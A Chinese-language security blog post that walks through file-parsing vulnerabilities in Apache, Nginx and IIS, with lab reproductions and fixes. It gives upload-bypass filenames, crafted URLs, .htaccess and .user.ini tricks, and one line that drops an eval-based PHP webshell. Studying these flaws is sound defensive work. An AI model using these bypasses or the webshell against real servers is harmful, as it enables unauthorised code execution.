0x00 前言
经常听说过解析漏洞,这次来一探究竟。
0x01 解析漏洞简介
1、文件解析漏洞概述
文件解析漏洞,是指Web容器(Apache、Nginx、IIS等)在解析文件时将文件解析成脚本文件格式并得以执行而产生的漏洞。从而,黑客可以利用该漏洞实现非法文件的解析。
2、web容器是什么
web容器是一种服务程序,在服务器一个端口就有一个提供相应服务的程序,而这个程序就是处理从客户端发出的请求,如tomcat、apache、nginx等。(可以理解为编程语言提供环境)
中间件:提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通。中间件处在操作系统和更高一级应用程序之间。
容器:给处于其中的应用程序组件(ASP,JSP,PHP)提供一个环境。使处于其中的应用程序组件之间跟容器中的环境变量接口交互,不必关注其他系统问题。
攻击者在利用上传漏洞时,通常会与Web容器的解析漏洞配合在一起
0x02 Apache
测试环境
docker容器:kstaken/apache2
在docker里安装php:apt-get update && apt-get install php5
靶场:DoraBox靶场
修改站点根目录:vim /etc/apache2/sites-enabled/000-default
1、多后缀
漏洞描述:
在Apache 2.0.x <= 2.0.59,Apache 2.2.x <= 2.2.17,Apache 2.2.2 <= 2.2.8中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。
所以可上传一个test.php.qwzf
文件绕过验证且服务器依然会将其解析为php。
Apache 能够识别的文件在mime.types
文件里。
影响版本:
Apache 2.0.x <= 2.0.59
Apache 2.2.x <= 2.2.17
Apache 2.2.2 <= 2.2.8
开始测试:
1.查看Apache版本:
apachectl -v #或httpd -v(测试未显示Apache版本)
平时可以使用浏览器捕获的响应包或使用burp抓包查看apache版本。
2.在DoraBox的任意文件靶场进行测试
上传的文件名:test.php.qwzf
上传的文件内容
<?php phpinfo(); ?>
上传成功,访问看一下
成功解析成php文件。
修复方法:
后缀验证尽量使用白名单的方式,这样即使使用不存在的后缀名,也无法绕过。
2、Apache配置问题
1.如果在Apache的 /etc/apache2/apache2.conf
里有这样的配置
<FilesMatch "qwzf.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
这时只要文件名是qwzf.jpg
,会以php 来执行。
2.如果在Apache的 conf 里有这样一行配置AddHandler php5-script .php
这时只要文件名里包含.php
即使文件名是qwzf.php.jpg
也会以php 来执行。
3.如果在 Apache 的 conf 里有这样一行配置AddType application/x-httpd-php .jpg
即使扩展名是.jpg
,也会以php来执行。
Apache提供了一种很方便的、可作用于当前目录及其子目录的配置文件——.htaccess
(分布式配置文件)
将Apache的/etc/apache2/sites-available/default
里AllowOverride None
改为AllowOverride All
AllowOverride All
开启rewrite_mod
a2enmod rewrite
这样.htaccess
文件就会生效。
开始测试:
1.上传一个.htaccess
文件,文件内容如下:
方法1:
<FilesMatch "qwzf.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
方法2:
AddHandler php5-script .php
方法3:
AddType application/x-httpd-php .jpg
2.然后上传文件名为
方法1和方法3:qwzf.jpg
方法2和方法3:qwzf.php.jpg
文件内容为:<?php phpinfo(); ?>
修复方法:
1.apache配置文件,禁止.php.
这样的文件执行,配置文件里面加入
<Files ~ “.(php.|php3.)”>
Order Allow,Deny
Deny from all
</Files>
2.关闭重写
a2dismod rewrite
3、罕见后缀
Apache配置文件中会有.+.ph(p[345]?|t|tml)
此类的正则表达式,被当php程序执行的文件名要符合正则表达式。也就是说php3,php4,php5,pht,phtml等文件后缀也是可以被当作php文件进行解析的。
上传一个查看phpinfo信息的qwzf.php3
文件,访问
发现qwzf.php3
文件被当作php文件进行解析。
4、后缀包含换行符\x0A(CVE-2017-15715)
phith0n师傅在代码审计知识星球里提到了Apache的一个解析漏洞CVE-2017-15715
漏洞描述:
上传一个后缀末尾包含换行符的文件,来绕过FilesMatch。绕过FilesMatch不一定能被PHP解析。
这个漏洞可以用来绕过文件上传黑名单限制。即:
1.php\x0a => 1.php
apache通过mod_php来运行脚本,其2.4.0-2.4.29中存在apache换行解析漏洞,在解析php时xxx.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。该漏洞属于用户配置不当产生的漏洞,与具体中间件版本无关。
影响版本:
Apache 2.4.0-2.4.29
测试环境:
1.环境一:
用docker拉取一个名为vulhub/php:5.5-apache
的镜像(Apache版本2.4.0~2.4.29之间)
使用下面命令启动容器:
docker run -d --name=cve-2017-15715 -p 8005:80 -v /var/www/bachang/cve-2017-15715:/var/www/html vulhub/php:5.5-apache
进入容器并查看Apache版本
docker exec -it cve-2017-15715 /bin/bash
apachectl -v
将下面测试代码目录映射到容器内的/var/www/html目录下,设置好写权限,即可开始测试。
2.环境二:
当然,如果感觉自己搭环境比较麻烦,可以使用vulhub靶场的CVE-2017-15715
环境。
环境位置:vulhub/httpd/CVE-2017-15715
测试代码:
<html>
<body>
<form action="" method="post" enctype="multipart/form-data">
file:<input type="file" name="file"><br />
filename:<input type="text" name="name" value="qwzf.php">
<input type="submit" value="submit">
</form>
</body>
</html> <?php if (isset($_FILES['file'])) {
$name = basename($_POST['name']);
$ext = pathinfo($name, PATHINFO_EXTENSION); if (in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) { exit('bad file');
}
move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
} ?>
开始测试:
1.正常上传php文件,被拦截
2.上传test.php.qwzf
,上传成功,但不解析,说明老的多后缀Apache解析漏洞不存在。
3.利用CVE-2017-15715,上传一个包含换行符的文件
注:只能是\x0A,不能是\x0D\x0A
上传qwzf.php
文件,filename设置为qwzf.php
使用burp抓包,选择burp的Hex功能,在qwzf.php
后面添加一个\x0A
发包,上传成功。然后访问qwzf.php%0A
,发现可以成功解析php文件
Nginx是一款高性能的WEB服务器,通常用来作为PHP的解析容器。
0x03 Nginx
1、Nginx PHP CGI 解析漏洞(fix_pathinfo)
漏洞描述:
查看nginx的配置文件
vim /etc/nginx/conf.d/default.conf
(1)Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问http://x.x.x.x/phpinfo.jpg/1.php
这个URL时,$fastcgi_script_name
会被设置为phpinfo.jpg/1.php
,然后构造成SCRIPT_FILENAME传递给PHP CGI。
(2)但PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?
这就涉及到fix_pathinfo
选项了。如果PHP中开启了fix_pathinfo这个选项,PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了。
简单来说,由于Nginx的特性,只要URL中路径名以.php
结尾,不管该文件是否存在,直接交给php处理。
注:新版本php引入了security.limit_extensions,限制了可执行文件的后缀,默认只允许执行.php文件
使得该漏洞难以被成功利用
相关知识:
(1)通过phpinfo查看cgi.fix_pathinfo=1
,PHP里经常要获取当前请求的URL路径信息。一般可以通过环境变量$_SERVER[‘PATH_INFO’]
获取,而配置文件中的cgi.fix_pathinifo
选项则与这个值的获取相关。
(2)在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo默认是开启的,当URL中有不存在的文件,PHP就会向前递归解析。
影响版本:
漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞
漏洞形式:
/1.jpg/1.php
/1.jpg/.php
/1.jpg%00.php
/1.jpg/%20\0.php
还有一种方法是:上传一个名字为qwzf.jpg,文件内容如下:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['qwzf']);?>'); ?>
然后访问qwzf.jpg/.php
,在当前目录下就会生成一句话木马shell.php
测试环境:
1.环境一:
vulhub靶场的漏洞环境
环境位置:vulhub/nginx/nginx_parsing_vulnerability
nginx版本:nginx/1.19.2
2.环境二:
使用phpstudy测试,默认配置即可(默认的cgi.fix_pathinfo是注释状态,但默认值确为1)
nginx版本:nginx/1.11.5
开始测试:
使用环境一的vulhub靶场对应的环境
上传一个jpg文件,文件名为phpinfo.jpg
,文件内容为(或者上传图片马):
GIF89a <?php phpinfo(); ?>
上传成功,访问一下
/uploadfiles/b5f7a062d84869fe4f3af35b79fca50c.jpg/1.php
/uploadfiles/b5f7a062d84869fe4f3af35b79fca50c.jpg/.php
/uploadfiles/b5f7a062d84869fe4f3af35b79fca50c.jpg/%20\0.php
发现除了%00截断外,均以php的形式解析,显示phpinfo信息
%00截断不能成功,原因应该是PHP的版本问题。%00截断使用条件:php 版本<5.3.4
修复方法:
1.修改php.ini文件,将cgi.fix_pathinfo的值设置为0(慎用);
若实在将cgi.fix_pathinfo的值设置为0,就将php-fpm.conf中的security.limit_extensions
后面的值设置为.php
2.在Nginx配置文件中添加以下代码:
if ( $fastcgi_script_name ~ ..*/.*php ) { return 403;
}
代码的意思:当匹配到类似test.jpg/a.php的URL时,将返回403错误代码。
3.使用Apache服务器的,在相应目录下放一个 .htaccess 文件,内容为:
<FilesMatch "(?i:\.php)$">
Deny from all
</FilesMatch>
4.不提供上传的原文件访问,对文件输出经过程序处理。
5.图片单独放一个服务器上,与业务代码数据进行隔离。
2、空字节代码执行漏洞
漏洞描述:
Ngnix在遇到%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码
影响版本:
Nginx 0.5.x
Nginx 0.6.x
Nginx 0.7-0.7.65
Nginx 0.8-0.8.37
测试环境:
由于环境比较旧,不太容易搭建,这里只阐述一下大致过程:
1.上传一个qwzf.jpg图片文件
2.访问http://x.x.x.x/qwzf.jpg%00.php
3.就会将qwzf.jpg作为PHP文件进行解析
修复方法:
1.升级nginx
2.禁止在上传文件目录下执行php文件
3.在nginx配置或者fcgi.conf配置添加下面内容:
if ($request_filename ~* (.*)\.php) { set $php_url $1;
} if (!-e $php_url.php) { return 403;
}
3、nginx文件名逻辑漏洞(CVE-2013-4547)
漏洞描述:
1.漏洞产生原因:
错误地解析了请求的URL,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。
2.漏洞原理:
Nginx匹配到.php
结尾的请求,就发送给fastcgi进行解析,常见写法:
location ~ \.php$ {
include fastcgi_params;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
}
(1)在关闭fix_pathinfo的情况下(即cgi.fix_pathinfo=0
),只有.php后缀的文件才会被发送给fastcgi解析
(2)存在CVE-2013-4547时,请求qwzf.jpg[0x20][0x00].php
,这个URI可匹配到正则\.php$
,进入到Location块;
(3)进入后,Nginx错误地认为请求的文件是qwzf.jpg[0x20]
,然后设置其为SCRIPT_FILENAME的值发送给fastcgi。
(4)fastcgi根据SCRIPT_FILENAME的值,将qwzf.jpg[0x20]
以php文件的形式进行解析,从而造成了解析漏洞。
也就是说,我们只需要上传一个空格结尾的文件,即可用PHP进行解析。
影响版本:
Nginx 0.8.41-1.4.3
Nginx 1.5 -1.5.7
测试环境:
vulhub靶场的漏洞环境
环境位置:vulhub/nginx/CVE-2013-4547
nginx版本:nginx/1.4.2
开始测试:
上传一个jpg文件,文件名为qwzf.jpg
,文件内容为(或者上传图片马):
GIF89a <?php phpinfo(); ?>
使用burp添加空格
发包,成功上传文件
访问/uploadfiles/qwzf.jpg/.php
,burp抓包,添加两个空格
使用burp的hex功能,将第二个空格的0x20改为0x00
发包,成功解析。
0x04 IIS
IIS(Internet Information Services)是微软出品的灵活、安全、易于管理的Web服务器。
1、IIS 5.x和IIS 6.x解析漏洞
使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语言一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。
测试环境:
因为找不到相关环境,并且不想搭建,所以这里只阐述相关原理和相关知识。
形式:http://www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp
,.asa
目录下的文件都解析成asp文件。
形式:http://www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析;
号后面的内容,因此xx.asp;.jpg
便被解析成asp文件。
有的网站会设置黑名单上传限制 ,IIS6.0 默认的可执行文件除了asp还包含这三种 :
/xx.asa
/xx.cer
/xx.cdx
iis把asa,cdx,cer解析成asp文件的原因:这四种扩展名都是用的同一个asp.dll文件来执行。
修复方法:
1.阻止创建.asp
和.asa
类型的文件夹
2.阻止上传xx.asp;.jpg
类型的文件名
3.阻止上传.asa
、.cer
和.cdx
后缀的文件
4.设置权限,限制用户创建文件夹
2、IIS 7.0/7.5 CGI解析漏洞
漏洞描述:
IIS7/7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了cgi.fix_pathinfo
,而这并不是nginx或者iis7/7.5本身的漏洞。
漏洞产生的条件:
php.ini里的cgi.cgi_pathinfo=1
IIS7在Fast-CGI运行模式下
测试环境:
windows server 2008 R2(x64)
IIS7
phpStudy 2018版本
开始测试:
首先在VMware安装windows server 2008 R2虚拟机(比较简单,百度搜教程即可),然后安装IIS7和phpStudy 2018。可参考:IIS7.0解析漏洞
写一个index.php文件测试环境是否能正常工作。
正常工作。接下来,正式开始测试
1.在站点根目录创建一个qwzf.jpg文件,文件内容为:
<?php phpinfo(); ?>
2.配置CGI 模式
(1)在php.ini文件里将cgi.fix_pathinfo 取消注释并把值改为1
(2)更改网站的处理程序映射
管理工具 –> IIS -> WIN-5RQ4P819403 -> 处理程序映射
3.访问http://192.168.201.149/qwzf.jpg/.php
发现qwzf.jpg
成功解析。
常用利用方法:上传图片马
0x05 .user.ini
.user.ini 作用和配置
.htaccess
是伪静态环境配置文件,用于lamp。
.user.ini
是lnmp文件,里面放的是你网站的文件夹路径地址。目的是防止跨目录访问和文件跨目录读取.
为了防止跨站,可将 .user.ini
放在网站根目录下,内容为:
open_basedir=/项目路径/:/tmp/:/proc/
如:open_basedir=/var/www/html/:/tmp/:/proc/
测试代码:
<?php //获取当前文件所在的绝对目录 $dir = dirname(__FILE__); echo " <pre>";
print_r($dir); //读取根目录文件夹vim $file = scandir('/'); //显示 echo " <pre>";
print_r($file); ?>
没加.user.ini
的时候可以直接读到根目录的文件
加上.user.ini
之后,就读不到根目录的文件了
.user.ini文件利用
利用条件:
1.服务器脚本语言为PHP
2.服务器使用CGI/FastCGI模式
3.上传目录下要有可执行的php文件
大师傅博客里对.user.ini
的解释具体可以怎样理解呢?
我的对其总结如下:
1.
php.ini
作为php的默认的配置文件,包括很多php配置,可分为:PHP_INI_SYSTEM
、PHP_INI_PERDIR
、PHP_INI_ALL
、PHP_INI_USER
。2.模式为
PHP_INI_USER
的配置项,可在ini_set()
函数中设置、注册表
中设置和.user.ini
中设置3.PHP会在每个目录下扫描 INI 文件,从被执行PHP 文件所在目录一直上升到 web 根目录(
$_SERVER['DOCUMENT_ROOT']
所指定的)。若被执行PHP 文件在 web 根目录之外,则只扫描该目录。4.
.user.ini
简单来说,就是一个可以由用户“自定义”的php.ini
,可以自定义的设置是模式为PHP_INI_PERDIR
、PHP_INI_USER
的设置(实际上,除PHP_INI_SYSTEM
外的模式都可以通过.user.ini
来设置)。5.
.user.ini
是一个能被动态加载的ini文件。也就是修改.user.ini
后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl
所设置的时间(默认为300秒),即可被重新加载。6.php配置项
auto_prepend_file
(auto_append_file
),指定一个文件,自动包含在要执行的文件前(后),类似于在文件前(后)调用了require()函数。即借助.user.ini
文件,可让所有php文件都“自动”包含某个文件
(当文件调用的有exit()时该设置无效)
可直接在.user.ini
中设置要包含的文件(如webshell、图片马等):
auto_prepend_file=qwzf.jpg
qwzf.jpg
即是可执行php文件要包含的文件。
开始测试:
直接使用vulhub靶场vulhub/nginx/CVE-2013-4547
环境,在uploadfiles目录下创建一个可执行的php文件index.php
(1)上传.user.ini
文件,内容如下:
GIF89a
auto_prepend_file=qwzf.jpg
(2)上传图片马qwzf.jpg
,内容如下:
GIF89a
<?php phpinfo(); ?>
访问/uploadfiles/index.php
,发现qwzf.jpg被成功包含到index.php之前进行解析
0x06 Windows操作系统文件命名规则
Windows操作系统中,文件名不能以空格或.
开头,也不能以空格或.
结尾。当把一个文件命名为以空格或.
开头或结尾时,会自动地去掉开头和结尾处的空格和.
。利用此特性,也可能造成文件解析漏洞。
0x07 后记
根据上面所述,可见解析漏洞的危害。所以要注意解析漏洞的防范。
本人小白一枚,如有错误,敬请大佬批评指正!
参考博客:
文件解析漏洞总结
CTF考点总结-文件上传/文件包含
利用最新Apache解析漏洞(CVE-2017-15715)绕过上传黑名单
文件上传漏洞,解析漏洞总结
解析漏洞整理
典型漏洞归纳之解析漏洞
服务器解析漏洞总结
文件解析漏洞总结-Nginx
Nginx错误配置引发的解析漏洞复现
nginx文件名逻辑漏洞_CVE-2013-4547漏洞复现
nginx+php使用open_basedir限制站点目录防止跨站